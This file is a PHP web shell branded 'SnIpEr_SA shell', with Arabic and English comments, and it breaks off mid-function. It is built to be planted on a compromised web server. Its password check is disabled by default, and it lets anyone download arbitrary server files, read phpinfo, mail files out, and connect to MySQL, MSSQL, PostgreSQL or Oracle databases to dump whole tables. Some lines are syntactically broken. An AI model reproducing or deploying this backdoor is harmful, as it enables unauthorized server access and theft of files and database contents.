qq
<?php
/******************************************************************************************************/
/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/
/* (c)oded by SnIpEr_SA
/* MAIL http://sniper-sa.com , http://sniper-sa.com
/******************************************************************************************************/
/* ~~~ الخيارات | Options ~~~ */
// اللغة | Language
// $language='eng' - english (english)
// $language='ar' - arabi (arabi)
$language='ar';
// ?????????????? | Authentification
// $auth = 1; - لتفعيل الدخول بكلمه المرور ( authentification = On )
// $auth = 0; - لايقاف الدخول بكلمة المرور ( authentification = Off )
$auth = 0;
// لدخول بكلمة مرور واسم مستخدم (Login & Password for access)
// لحماية السكربت من دخول غيرك غير التالي!!! (CHANGE THIS!!!)
// هنا وضعك كلمه المرور وهي مشفره بصيغه md5, وكلمةع المرور هنا هي 'sniper'
// تستعطيع ان تشفر كلمة مرورك واسم المستخدم بصيغة md5 ووضعها في الخانات التاليه
$name='1c27680133b781cadd037e8a6dcc001b'; // اسم المستخدم (user login)
$pass='1c27680133b781cadd037e8a6dcc001b'; // كلمة المرور (user password)
/******************************************************************************************************/
echo "".htmlspecialchars($copy)."";
error_reporting(0);
set_magic_quotes_runtime(0);
@set_time_limit(0);
@ini_set('max_execution_time',0);
@ini_set('output_buffering',0);
$safe_mode = @ini_get('safe_mode');
$version = '1.31';
if(version_compare(phpversion(), '4.1.0') == -1)
{
$_POST = &$HTTP_POST_VARS;
$_GET = &$HTTP_GET_VARS;
$_SERVER = &$HTTP_SERVER_VARS;
$_COOKIE = &$HTTP_COOKIE_VARS;
}
if (@get_magic_quotes_gpc())
{
foreach ($_POST as $k=>$v)
{
$_POST[$k] = stripslashes($v);
}
foreach ($_COOKIE as $k=>$v)
{
$_COOKIE[$k] = stripslashes($v);
}
}
if($auth == 1) {
if (!isset($_SERVER['PHP_AUTH_USER']) || md5($_SERVER['PHP_AUTH_USER'])!==$name || md5($_SERVER['PHP_AUTH_PW'])!==$pass)
{
header('WWW-Authenticate: Basic realm="SnIpEr_SA shell"');
header('HTTP/1.0 401 Unauthorized');
exit("<b><a href=http://sniper-sa.com>SnIpEr_SA</a> : Access Denied</b>" ;
}
}
$head = '<!-- SnIpEr_SA -->
<html>
<head>
<meta http-equiv="Content-Language" content="ar-sa">
<meta name="GENERATOR" content="Microsoft FrontPage 6.0">
<meta name="ProgId" content="FrontPage.Editor.Document">
<meta http-equiv="Content-Type" content="text/html; charset=windows-1256">
<title>SnIpEr_SA shell</title>
<STYLE>
BODY
{
SCROLLBAR-FACE-COLOR: #000000; SCROLLBAR-HIGHLIGHT-COLOR: #000000; SCROLLBAR-SHADOW-COLOR: #000000; COLOR: #ffffff; SCROLLBAR-3DLIGHT-COLOR: #726456; SCROLLBAR-ARROW-COLOR: #726456; SCROLLBAR-TRACK-COLOR: #292929; FONT-FAMILY: Verdana; SCROLLBAR-DARKSHADOW-COLOR: #726456
}
tr {
BORDER-RIGHT: #cccccc ;
BORDER-TOP: #cccccc ;
BORDER-LEFT: #cccccc ;
BORDER-BOTTOM: #cccccc ;
color: #ffffff;
}
td {
BORDER-RIGHT: #cccccc ;
BORDER-TOP: #cccccc ;
BORDER-LEFT: #cccccc ;
BORDER-BOTTOM: #cccccc ;
color: #cccccc;
}
.table1 {
BORDER: 1;
BACKGROUND-COLOR: #000000;
color: #333333;
}
.td1 {
BORDER: 1;
font: 7pt tahoma;
color: #ffffff;
}
.tr1 {
BORDER: 1;
color: #cccccc;
}
table {
BORDER: #eeeeee outset;
BACKGROUND-COLOR: #000000;
color: #cccccc;
}
input {
BORDER-RIGHT: #990000 1 solid;
BORDER-TOP: #990000 1 solid;
BORDER-LEFT: #990000 1 solid;
BORDER-BOTTOM: #990000 1 solid;
BACKGROUND-COLOR: #333333;
font: 9pt tahoma;
color: #ffffff;
}
select {
BORDER-RIGHT: #ffffff 1 solid;
BORDER-TOP: #999999 1 solid;
BORDER-LEFT: #999999 1 solid;
BORDER-BOTTOM: #ffffff 1 solid;
BACKGROUND-COLOR: #000000;
font: 9pt tahoma;
color: #CCCCCC;;
}
submit {
BORDER: buttonhighlight 1 outset;
BACKGROUND-COLOR: #272727;
width: 40%;
color: #cccccc;
}
textarea {
BORDER-RIGHT: #ffffff 1 solid;
BORDER-TOP: #999999 1 solid;
BORDER-LEFT: #999999 1 solid;
BORDER-BOTTOM: #ffffff 1 solid;
BACKGROUND-COLOR: #333333;
font: Fixedsys bold;
color: #ffffff;
}
BODY {
margin: 1;
color: #cccccc;
background-color: #000000;
}
A:link {COLOR:red; TEXT-DECORATION: none}
A:visited { COLOR:red; TEXT-DECORATION: none}
A:active {COLOR:red; TEXT-DECORATION: none}
A:hover {color:blue;TEXT-DECORATION: none}
</STYLE>
<script language=\'javascript\'>
function hide_div(id)
{
document.getElementById(id).style.display = \'none\';
document.cookie=id+\'=0;\';
}
function show_div(id)
{
document.getElementById(id).style.display = \'block\';
document.cookie=id+\'=1;\';
}
function change_divst(id)
{
if (document.getElementById(id).style.display == \'none\')
show_div(id);
else
hide_div(id);
}
</script>';
class zipfile
{
var $datasec = array();
var $ctrl_dir = array();
var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
var $old_offset = 0;
function unix2DosTime($unixtime = 0) {
$timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
if ($timearray['year'] < 1980) {
$timearray['year'] = 1980;
$timearray['mon'] = 1;
$timearray['mday'] = 1;
$timearray['hours'] = 0;
$timearray['minutes'] = 0;
$timearray['seconds'] = 0;
}
return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |
($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
}
function addFile($data, $name, $time = 0)
{
$name = str_replace('\\', '/', $name);
$dtime = dechex($this->unix2DosTime($time));
$hexdtime = '\x' . $dtime[6] . $dtime[7]
. '\x' . $dtime[4] . $dtime[5]
. '\x' . $dtime[2] . $dtime[3]
. '\x' . $dtime[0] . $dtime[1];
eval('$hexdtime = "' . $hexdtime . '";');
$fr = "\x50\x4b\x03\x04";
$fr .= "\x14\x00";
$fr .= "\x00\x00";
$fr .= "\x08\x00";
$fr .= $hexdtime;
$unc_len = strlen($data);
$crc = crc32($data);
$zdata = gzcompress($data);
$zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
$c_len = strlen($zdata);
$fr .= pack('V', $crc);
$fr .= pack('V', $c_len);
$fr .= pack('V', $unc_len);
$fr .= pack('v', strlen($name));
$fr .= pack('v', 0);
$fr .= $name;
$fr .= $zdata;
$this -> datasec[] = $fr;
$cdrec = "\x50\x4b\x01\x02";
$cdrec .= "\x00\x00";
$cdrec .= "\x14\x00";
$cdrec .= "\x00\x00";
$cdrec .= "\x08\x00";
$cdrec .= $hexdtime;
$cdrec .= pack('V', $crc);
$cdrec .= pack('V', $c_len);
$cdrec .= pack('V', $unc_len);
$cdrec .= pack('v', strlen($name) );
$cdrec .= pack('v', 0 );
$cdrec .= pack('v', 0 );
$cdrec .= pack('v', 0 );
$cdrec .= pack('v', 0 );
$cdrec .= pack('V', 32 );
$cdrec .= pack('V', $this -> old_offset );
$this -> old_offset += strlen($fr);
$cdrec .= $name;
$this -> ctrl_dir[] = $cdrec;
}
function file()
{
$data = implode('', $this -> datasec);
$ctrldir = implode('', $this -> ctrl_dir);
return
$data .
$ctrldir .
$this -> eof_ctrl_dir .
pack('v', sizeof($this -> ctrl_dir)) .
pack('v', sizeof($this -> ctrl_dir)) .
pack('V', strlen($ctrldir)) .
pack('V', strlen($data)) .
"\x00\x00";
}
}
function compress(&$filename,&$filedump,$compress)
{
global $content_encoding;
global $mime_type;
if ($compress == 'bzip' && @function_exists('bzcompress'))
{
$filename .= '.bz2';
$mime_type = 'application/x-bzip2';
$filedump = bzcompress($filedump);
}
else if ($compress == 'gzip' && @function_exists('gzencode'))
{
$filename .= '.gz';
$content_encoding = 'x-gzip';
$mime_type = 'application/x-gzip';
$filedump = gzencode($filedump);
}
else if ($compress == 'zip' && @function_exists('gzcompress'))
{
$filename .= '.zip';
$mime_type = 'application/zip';
$zipfile = new zipfile();
$zipfile -> addFile($filedump, substr($filename, 0, -4));
$filedump = $zipfile -> file();
}
else
{
$mime_type = 'application/octet-stream';
}
}
function mailattach($to,$from,$subj,$attach)
{
$headers = "From: $from\r\n";
$headers .= "MIME-Version: 1.0\r\n";
$headers .= "Content-Type: ".$attach['type'];
$headers .= "; name=\"".$attach['name']."\"\r\n";
$headers .= "Content-Transfer-Encoding: base64\r\n\r\n";
$headers .= chunk_split(base64_encode($attach['content']))."\r\n";
if(@mail($to,$subj,"",$headers)) { return 1; }
return 0;
}
class my_sql
{
var $host = 'localhost';
var $port = '';
var $user = '';
var $pass = '';
var $base = '';
var $db = '';
var $connection;
var $res;
var $error;
var $rows;
var $columns;
var $num_rows;
var $num_fields;
var $dump;
function connect()
{
switch($this->db)
{
case 'MySQL':
if(empty($this->port)) { $this->port = '3306'; }
if(!function_exists('mysql_connect')) return 0;
$this->connection = @mysql_connect($this->host.':'.$this->port,$this->user,$this->pass);
if(is_resource($this->connection)) return 1;
break;
case 'MSSQL':
if(empty($this->port)) { $this->port = '1433'; }
if(!function_exists('mssql_connect')) return 0;
$this->connection = @mssql_connect($this->host.','.$this->port,$this->user,$this->pass);
if($this->connection) return 1;
break;
case 'PostgreSQL':
if(empty($this->port)) { $this->port = '5432'; }
$str = "host='".$this->host."' port='".$this->port."' user='".$this->user."' password='".$this->pass."' dbname='".$this->base."'";
if(!function_exists('pg_connect')) return 0;
$this->connection = @pg_connect($str);
if(is_resource($this->connection)) return 1;
break;
case 'Oracle':
if(!function_exists('ocilogon')) return 0;
$this->connection = @ocilogon($this->user, $this->pass, $this->base);
if(is_resource($this->connection)) return 1;
break;
}
return 0;
}
function select_db()
{
switch($this->db)
{
case 'MySQL':
if(@mysql_select_db($this->base,$this->connection)) return 1;
break;
case 'MSSQL':
if(@mssql_select_db($this->base,$this->connection)) return 1;
break;
case 'PostgreSQL':
return 1;
break;
case 'Oracle':
return 1;
break;
}
return 0;
}
function query($query)
{
$this->res=$this->error='';
switch($this->db)
{
case 'MySQL':
if(false===($this->res=@mysql_query('/*'.chr(0).'*/'.$query,$this->connection)))
{
$this->error = @mysql_error($this->connection);
return 0;
}
else if(is_resource($this->res)) { return 1; }
return 2;
break;
case 'MSSQL':
if(false===($this->res=@mssql_query($query,$this->connection)))
{
$this->error = 'Query error';
return 0;
}
else if(@mssql_num_rows($this->res) > 0) { return 1; }
return 2;
break;
case 'PostgreSQL':
if(false===($this->res=@pg_query($this->connection,$query)))
{
$this->error = @pg_last_error($this->connection);
return 0;
}
else if(@pg_num_rows($this->res) > 0) { return 1; }
return 2;
break;
case 'Oracle':
if(false===($this->res=@ociparse($this->connection,$query)))
{
$this->error = 'Query parse error';
}
else
{
if(@ociexecute($this->res))
{
if(@ocirowcount($this->res) != 0) return 2;
return 1;
}
$error = @ocierror();
$this->error=$error['message'];
}
break;
}
return 0;
}
function get_result()
{
$this->rows=array();
$this->columns=array();
$this->num_rows=$this->num_fields=0;
switch($this->db)
{
case 'MySQL':
$this->num_rows=@mysql_num_rows($this->res);
$this->num_fields=@mysql_num_fields($this->res);
while(false !== ($this->rows[] = @mysql_fetch_assoc($this->res)));
@mysql_free_result($this->res);
if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}
break;
case 'MSSQL':
$this->num_rows=@mssql_num_rows($this->res);
$this->num_fields=@mssql_num_fields($this->res);
while(false !== ($this->rows[] = @mssql_fetch_assoc($this->res)));
@mssql_free_result($this->res);
if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;};
break;
case 'PostgreSQL':
$this->num_rows=@pg_num_rows($this->res);
$this->num_fields=@pg_num_fields($this->res);
while(false !== ($this->rows[] = @pg_fetch_assoc($this->res)));
@pg_free_result($this->res);
if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}
break;
case 'Oracle':
$this->num_fields=@ocinumcols($this->res);
while(false !== ($this->rows[] = @oci_fetch_assoc($this->res))) $this->num_rows++;
@ocifreestatement($this->res);
if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}
break;
}
return 0;
}
function dump($table)
{
if(empty($table)) return 0;
$this->dump=array();
$this->dump[0] = '##';
$this->dump[1] = '## --------------------------------------- ';
$this->dump[2] = '## Created: '.date ("d/m/Y H:i:s" ;
$this->dump[3] = '## Database: '.$this->base;
$this->dump[4] = '## Table: '.$table;
$this->dump[5] = '## --------------------------------------- ';
switch($this->db)
{
case 'MySQL':
$this->dump[0] = '## MySQL dump';
if($this->query('/*'.chr(0).'*/ SHOW CREATE TABLE `'.$table.'`')!=1) return 0;
if(!$this->get_result()) return 0;
$this->dump[] = $this->rows[0]['Create Table'];
$this->dump[] = '## --------------------------------------- ';
if($this->query('/*'.chr(0).'*/ SELECT * FROM `'.$table.'`')!=1) return 0;
if(!$this->get_result()) return 0;
for($i=0;$i<$this->num_rows;$i++)
{
foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @mysql_real_escape_string($v);}
$this->dump[] = 'INSERT INTO `'.$table.'` (`'.@implode("`, `", $this->columns).'`) VALUES (\''.@implode("', '", $this->rows[$i]).'\');';
}
break;
case 'MSSQL':
$this->dump[0] = '## MSSQL dump';
if($this->query('SELECT * FROM '.$table)!=1) return 0;
if(!$this->get_result()) return 0;
for($i=0;$i<$this->num_rows;$i++)
{
foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);}
$this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');';
}
break;
case 'PostgreSQL':
$this->dump[0] = '## PostgreSQL dump';
if($this->query('SELECT * FROM '.$table)!=1) return 0;
if(!$this->get_result()) return 0;
for($i=0;$i<$this->num_rows;$i++)
{
foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);}
$this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');';
}
break;
case 'Oracle':
$this->dump[0] = '## ORACLE dump';
$this->dump[] = '## under construction';
break;
default:
return 0;
break;
}
return 1;
}
function close()
{
switch($this->db)
{
case 'MySQL':
@mysql_close($this->connection);
break;
case 'MSSQL':
@mssql_close($this->connection);
break;
case 'PostgreSQL':
@pg_close($this->connection);
break;
case 'Oracle':
@oci_close($this->connection);
break;
}
}
function affected_rows()
{
switch($this->db)
{
case 'MySQL':
return @mysql_affected_rows($this->res);
break;
case 'MSSQL':
return @mssql_affected_rows($this->res);
break;
case 'PostgreSQL':
return @pg_affected_rows($this->res);
break;
case 'Oracle':
return @ocirowcount($this->res);
break;
default:
return 0;
break;
}
}
}
if(!empty($_POST['cmd']) && $_POST['cmd']=="download_file" && !empty($_POST['d_name']))
{
if(!$file=@fopen($_POST['d_name'],"r" ) { err(1,$_POST['d_name']); $_POST['cmd']=""; }
else
{
@ob_clean();
$filename = @basename($_POST['d_name']);
$filedump = @fread($file,@filesize($_POST['d_name']));
fclose($file);
$content_encoding=$mime_type='';
compress($filename,$filedump,$_POST['compress']);
if (!empty($content_encoding)) { header('Content-Encoding: ' . $content_encoding); }
header("Content-type: ".$mime_type);
header("Content-disposition: attachment; filename=\"".$filename."\";" ;
echo $filedump;
exit();
}
}
if(isset($_GET['phpinfo'])) { echo @phpinfo(); echo "<br><div align=center><font face=tahoma size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die(); }
if(isset($_GET['sqlman'])) {
session_start();
$action = $HTTP_GET_VARS['action'];
$pagemax=20; // Maximum rows displaed per page, change to display more or less rows per page.
function show_login($dbnamearray){
$hostdefault="localhost";
echo"<table>";
echo"<form name='showlogin' method='post' action='$action'>";
if(count($hostdefault) > 1){
echo"<tr><td>??? C???????:</td><td><select name=host>";
for($x=0; $x < count($hostdefault);$x++){
echo"<option value=$hostdefault[$x]>$hostdefault[$x]";
}
echo"</select></td></tr>\n";
}else{
echo"<tr><td>سيرفر قواعد البيانات:</td><td><input type=text name='host' size=15 value=$hostdefault /></td></tr>\n";
}
echo"<tr><td>اسم المستخدم:</td><td><input type=text name='userid' size=15 /></td></tr>\n";
echo"<tr><td>كلمه المرور:</td><td><input type=password name='pword1' size=15 /></td></tr>\n";
If($dbnamearray != "" {
echo"<tr><td>?C?IE C?E?C?CE:</td><td><select name='dbna'>\n";
for ($i =0; $i < count($dbnamearray); $i++) {
$dbn=$dbnamearray[$i];
echo"<option value=$dbn>$dbn";
}
}
echo"<tr><td><input class=ser type='submit' name='login' value='دخول' /></td>\n";
echo"<td><input class=ser type=reset name='reset' value='مسح' /></td></tr>\n";
echo"</form></table>\n";
}
function dbrestrict(){
if(isset($_SESSION['user'])){
$user=$_SESSION['user'];
switch($user){
//Edit these ** values. You can add more case statements.
case '**User**':
$dbnamearray= array('**dbname**', '**dbname2**', '**dbname**');
break;
//end edit values
default:
$_SESSION['defaltuser']=true;
$dbnamearray = array();
$link = connectmysql();
$db_list = mysql_list_dbs($link); //$db_list
$cnt = mysql_num_rows($db_list);
for ($i =0; $i < $cnt; $i++) {
$dbnamearray[$i]= mysql_db_name($db_list, $i);
}
}
return $dbnamearray;
}
}
//***************************************************************
//function showdbs($dbnamearray, $backuppath){
function showdbs($dbnamearray){
//$backuppath=addslashes($backuppath);
echo"<table>\n";
for ($i =0; $i < count($dbnamearray); $i++) {
echo"<tr><td>";
$dbn=$dbnamearray[$i];
$va="الذهاب الى قاعدة $dbn";
goto(' ', $dbn,$action, 'but', 'db', $va );
$dbs=mysize($dbnamearray[$i],"" ;
echo"</td><td>$dbs</td></tr>\n";
}
echo"</table>\n";
}
//********************* Show Logout Button **********
function endsess(){
echo"<form method='post' name='endsess' action='$action'>\n";
echo"<input class=ser type='submit' name='logout' value='خروج' />\n";
echo"</form>";
}
//********************************************************************
function connectmysql(){
//Connects to the MySQL Database.
if (isset($_SESSION['user']) && isset($_SESSION['password'])){
$user = $_SESSION['user'];
$pass = $_SESSION['password'];
}else{
display_foot();
echo"\n</body>\n</html>";
exit();
}
$link = @mysql_connect($_SESSION['host'], $_SESSION['user'], $_SESSION['password']);
if(! $link){
echo"<div class='error'>\n";
echo"Unable to connect to the database server. <BR>";
echo"The Host: $_SESSION[host], اسم المستخدم: $user او الكلمه السريه خطاء. <br>";
echo"فضلاً سجل خروج للمحاوله مره اخرى.\n";
echo"</div>\n";
return false;
exit();
} else{
return $link;
}
}
//*********************************************************************
function connectdb($db, $link){
if(! mysql_select_db($db,$link)){
echo"Unable to locate database $db.<br> Please try again later.\n";
exit();
}
}
//*********************************************************************
function exequery($sql, $tablename, $db){
$result= @mysql_query( $sql );
if($result){
//echo "Query successful";
return $result;
}else{
echo"Sorry your Query failed: $sql <br> error:".mysql_error()."\n";
return false;
}
}
//***************************************************
$fieldtypes = array("BIGINT", "BLOB", "CHAR", "DATE", "DATETIME", "DECIMAL", "DOUBLE", "ENUM", "FLOAT",
"INT", "INTEGER", "LONGBLOB", "LONGTEXT", "MEDIUMBLOB", "MEDIUMINT", "MEDIUMTEXT", "NUMERIC", "PRECISION",
"REAL","SET", "SMALLINT", "TEXT", "TIME", "TIMESTAMP", "TINYBLOB", "TINYINT", "TINYTEXT", "VARCHAR", "YEAR" );
//****************** Search Form ****************************
function searchtableform($tablename, $dbname){
echo"<form method='post' action='$action'>\n";
echo"<input type=hidden name='dbname' value='$dbname' />\n";
echo"<input type=hidden name='tablename' value='$tablename' />\n";
echo"<input type=text name='searchval' />\n";
echo"<input class=ser type=submit name='search' value='Search $tablename' />\n";
echo"</form>\n";
}
//********************* Search *************************
function searcht($tablename, $dbname, $searchval){
if(! empty($searchval)){
// $searchval= str_replace(";",' ', $searchval);
$result=exequery("Select * from $tablename", $tablename, $dbname);
//$result=mysql_query("Select * from $tablename" ;
$num = mysql_num_fields($result);
$fields = mysql_list_fields($dbname, $tablename);
$whr="where ";
$tok=explode(" ",$searchval);
for ($t =0; $t < count($tok); $t++){
for ( $c = 0; $c < $num; $c++){
$fn =mysql_field_name($fields, $c);
$whr .=" $fn like '%$tok[$t]%' or ";
}
}
$whr=trim(substr_replace($whr, " ", -3));
$query="Select * from $tablename $whr";
$result=exequery($query, $tablename, $dbname);
return $result;
}
}
//*********************GOTO buttons*************************
//provides a form and button.
function goto($tablename, $dbname, $action, $class, $name, $va ){
//Adds a button.
echo"<form action='$action' method='post' >\n";
if(! eregi('tablestart', $name)){
echo"<input type=hidden name=dbname value='$dbname' />\n";
echo"<input type=hidden name=tablename value='$tablename' />\n";
}
echo"<input class=$class type=submit value='$va' name='$name' />\n";
//echo"<input class=$class type=submit value='$action' name=$name>";
echo"</form>\n";
//echo"<a class=$class href=$action>$va</a>";
//}
}
//*********************** ShowDB ***********************************
function showdb(){
//function showdb($backuppath){
$link=connectmysql();
if ($link){
echo"<div class='db'>";
echo"<div class='cream'>\n";
echo"<h2 class=h >إنشاء قاعدة جديدة</h2>\n";
echo"<form name=cdb action='$action' method='post' >\n";
echo"أسم القاعدة الجديدة: <input type=text name=ndbname />\n";
echo"<br /><br /><input class=but type='submit' name='cndb' value='إنشاء قاعدة جديدة' />\n";
echo"</form><br />";
echo"</div>";
echo"<h2 class=h >قائمه القواعد المتوفره</h2>\n";
//Restrict the database for users
$dbnamearray= dbrestrict();
showdbs($dbnamearray);
echo"</div>";
}
}
//********************** BuildWhr ******************************
//Builds the Where part of queries.
function buildwhr($pk, $pv){
$whr="";
$pn =count($pv);
for($t =0; $t < $pn; $t++){
$whr.="$pk[$t]='$pv[$t]'";
if($t < $pn-1){
$whr.=" and ";
}
}
if ($whr !=" " {
return $whr;
}else{
return false;
}
}
//***********************ADD Record ******************
function addrecord($tablename, $dbname, $array){
$result=exequery("Select * from $tablename", $tablename, $dbname);
//$result = @mysql_query( "Select * from $tablename" );
$flds = mysql_num_fields($result);
//$fields = mysql_list_fields($dbname, $tablename);
$qry=" ";
$query = "Insert into $tablename Values( ";
for ($x =0; $x < $flds; $x++){
//Multiple Select values for SET
if(is_array($array[$x])){
$mval="";
for($m=0; $m < count($array[$x]); $m++){
if($m+1 == count($array[$x])){
$mval.= AddSlashes($array[$x][$m]);
}else{
$mval.= AddSlashes($array[$x][$m]).",";
}
$fval = $mval;
}
}else{
$fval = AddSlashes($array[$x]);
}
$qry .= "'$fval'";
if ($x < $flds-1){
$qry.= ", ";
}
}
$query .= $qry." ";
// echo"qry: $qry";
$result=exequery($query, $tablename, $dbname);
if($result){
return $result;
}else{
return false;
}
}
//**********************ADD Form **********************
function addform($tablename, $dbname){
//Display the field names and input boxes
echo"<form action='$action' method='post'>\n";
echo"<table border=0 width='100%' align='center'>\n";
echo"<tr class=head><td>Field Name</td><td>Type</td><td>Value</td></tr>\n";
$result=exequery("Select * from $tablename", $tablename, $dbname);
//$result = @mysql_query( "Select * from $tablename" );
$flds = mysql_num_fields($result);
$fields = mysql_list_fields($dbname, $tablename);
echo"<input type=hidden name=tablename value='$tablename' />\n";
echo"<input type=hidden name='dbname' value='$dbname' />\n";
echo"<tr>\n";
$mxlen = 80;//max width of the form fields.
for($i=0; $i < $flds; $i++){
$auto = "false";
echo "<th>".mysql_field_name($fields, $i);
$fieldname = mysql_field_name($fields, $i); // added
$type = mysql_field_type($result, $i);
$flen = mysql_field_len($result, $i);//length of the field
$flagstring = mysql_field_flags ($result, $i);
// Start of new code for set drop down
$newsql = "show columns from $tablename like '%".$fieldname."'";
$newresult = exequery($newsql, $tablename, $dbname);
//mysql_query($newsql) or die ('I cannot get the query because: ' . mysql_error());
$arr=mysql_fetch_array($newresult);
// End of new code block for set drop down
if (eregi("primary",$flagstring )){
$type .= " PK ";
}
if(eregi("auto",$flagstring )){
$type .= " auto_increment";
$auto = "true";
}
if ($auto=="true" {
echo"<td>$type</td><td><input type=text name='array[$i]' size='$flen' value=0 /></td></tr>\n";
}elseif($flen > $mxlen){
$rws= $flen/$mxlen;
if($rws>10){
$rws=10; //max length of textarea
}
echo"<td>$type</td><td><textarea name='array[$i]' rows=$rws cols=$mxlen></textarea></td></tr>\n";
// Start of new code for set drop down
}elseif (strncmp($arr[1],'set',3)==0 || strncmp($arr[1],'enum',4)==0){ // We have a field type of set or enum
$num=substr_count($arr[1],',') + 1; // count the number of entries
$pos=strpos($arr[1],'(' ); //find the position of '('
$newstring=substr($arr[1],$pos+1); // get rid of the '???('
$snewstring=str_replace(')','',$newstring); // get rid of the last ')'
$nnewstring=explode(',',$snewstring,$num); // stick into an array
if(strncmp($arr[1],'set',3)==0 ){//Sets can have combinations of values
echo "<td>Set (select one or more)</td>";
echo"<td><select name='array[$i][]' size='3' multiple>";
}else{//Enum one value only
echo "<td>Enum</td>";
echo"<td><select name='array[$i]'>";
}
for($y=0; $y<$num;$y++){
echo"<option value=$nnewstring[$y]>$nnewstring[$y]";
}
echo"</select></td></tr>\n";
// End of new code block for set drop down
}else{
echo"<td>$type</td><td><input type=text name='array[$i]' size='$flen' /></td></tr>\n";
}
}
echo"<tr><td><input class=but type=submit name='addrec' value='Add Record' /></td>\n";
echo"<td><input class=but type=reset name='reset' value='Reset Form' /></td>\n";
echo"</tr>";
echo"</table>\n";
echo"</form>\n";
}
//*********************Edit Form ***************
function editform($tablename, $dbname, $result, $edit, $pk, $pv){
$row=mysql_fetch_array($result);
echo"<form action='$action' method=post>\n";
echo"<table border=0 width ='100%' align='center'>\n";
$flds = mysql_num_fields($result);
$fields = mysql_list_fields($dbname, $tablename);
echo"<input type=hidden name=tablename value='$tablename' />\n";
echo"<input type=hidden name='dbname' value='$dbname' />\n";
echo"<tr>";
$mxlen = 80;//max width of the form fields
for($i=0; $i < $flds; $i++){
$fname=mysql_field_name($fields, $i);
echo "<th>$fname";
$flen = mysql_field_len($result, $i);//length of the field
$nslash = StripSlashes($row[$i]);
// Start of new code for set drop down
$newsql = "show columns from $tablename like '%".$fname."'";
$newresult = exequery($newsql, $tablename, $dbname);
$arr=mysql_fetch_array($newresult);
// End of new code block for set drop down
if($flen > $mxlen){
$rws= $flen/$mxlen;
if($rws>10){
$rws=10; //max length of textarea
}
echo"<td><textarea name='array[$i]' rows=$rws cols=$mxlen>$nslash</textarea></td></tr>\n";
// Start of new code for set drop down
}elseif (strncmp($arr[1],'set',3)==0 || strncmp($arr[1],'enum',4)==0){ // We have a field type of set or enum
$num=substr_count($arr[1],',') + 1; // count the number of entries
$pos=strpos($arr[1],'(' ); //find the position of '('
$newstring=substr($arr[1],$pos+1); // get rid of the '???('
$snewstring=str_replace(')','',$newstring); // get rid of the last ')'
$nnewstring=explode(',',$snewstring,$num); // stick into an array
if(strncmp($arr[1],'set',3)==0 ){//Sets can have combinations of values
echo"<td><select name='array[$i][]' multiple size='3'>";
}else{//Enum one value only
echo"<td><select name='array[$i]'>";
}
$nsel=explode(",",$nslash);
for($y=0; $y<$num;$y++){
//geteach value 'a,b,c'
$sel="";
for($e=0; $e<count($nsel);$e++){
if($nnewstring[$y]=="'".$nsel[$e]."'" {
$sel="selected";
}
}
echo"<option value=$nnewstring[$y] $sel>$nnewstring[$y]";
}
echo"</select></td></tr>\n";
// End of new code block for set drop down
}else{
echo"<td><input type=text name='array[$i]' size='$flen' value='$nslash' /></td></tr>\n";
}
for($f =0; $f< count($pk);$f++){
echo"<input type=hidden name=pk[$f] value='$pk[$f]' />";
echo"<input type=hidden name=pv[$f] value='$pv[$f]' />\n";
}
}
echo"<tr><td><input class=but type=submit name='editrec' value='Update' /></td>\n";
echo"<td><input class=but type=reset name='reset' value='Reset Form' /></td>\n";
echo"</tr>";
echo"</table>\n";
echo"</form>\n";
}
//************************Edit Record*************************
function editrec($dbname, $tablename, $pk, $pv, $array){
//$result = @mysql_query( "Select * from $tablename" );
$result = exequery("Select * from $tablename", $tablename, $dbname);
$flds = mysql_num_fields($result);
$fields = mysql_list_fields($dbname, $tablename);
//Build Query
$qry="";
$query = "UPDATE $tablename set ";
for ($x =0; $x < $flds; $x++){
$fie = mysql_field_name($fields, $x );
// SET and ENUM
if(is_array($array[$x])){
$mval="";
for($m=0; $m < count($array[$x]); $m++){
if($m+1 == count($array[$x])){
$mval.= AddSlashes($array[$x][$m]);
}else{
$mval.= AddSlashes($array[$x][$m]).",";
}
$fval = $mval;
}
}else{
$fval = AddSlashes($array[$x]);
}
//**************************
//$fval = AddSlashes($array[$x]);
$qry .= "$fie = '$fval'";
if ($x < $flds-1){
$qry.= ", ";
}
}
$whr = buildwhr( $pk, $pv);
$whr =StripSlashes($whr);
$query .= "$qry";
$query .= " where $whr";
$result=exequery($query, $tablename, $dbname);
if($result){
return $result;
}else{
return false;
}
}
//****************** Number of Primary Keys ***********************
function numpk($result){
$z =0;
for ($i = 0; $i < $flds; $i++) {
//Find the primary key
$flagstring = mysql_field_flags ($result, $i);
if(eregi("primary",$flagstring )){
$z++;
}
}
return $z;
}
//********************Size field*****************
function fieldformsize($ft, $i, $l){
$ft= trim(strtoupper($ft));
if($ft =="DATE" || $ft=="TIME" || $ft== "DATETIME" ){
}elseif( $ft=="TINYTEXT" || $ft=="BLOB" || $ft=="TEXT" || $ft =="MEDIUMBLOB" {
echo"<input type=hidden name='leng[$i]' value=$l>";
}elseif($ft=="MEDIUMTEXT" || $ft=="LONGBLOB"|| $ft=="LONGTEXT" || $ft=="TINYBLOB" {
echo"<input type=hidden name='leng[$i]' value=$l>";
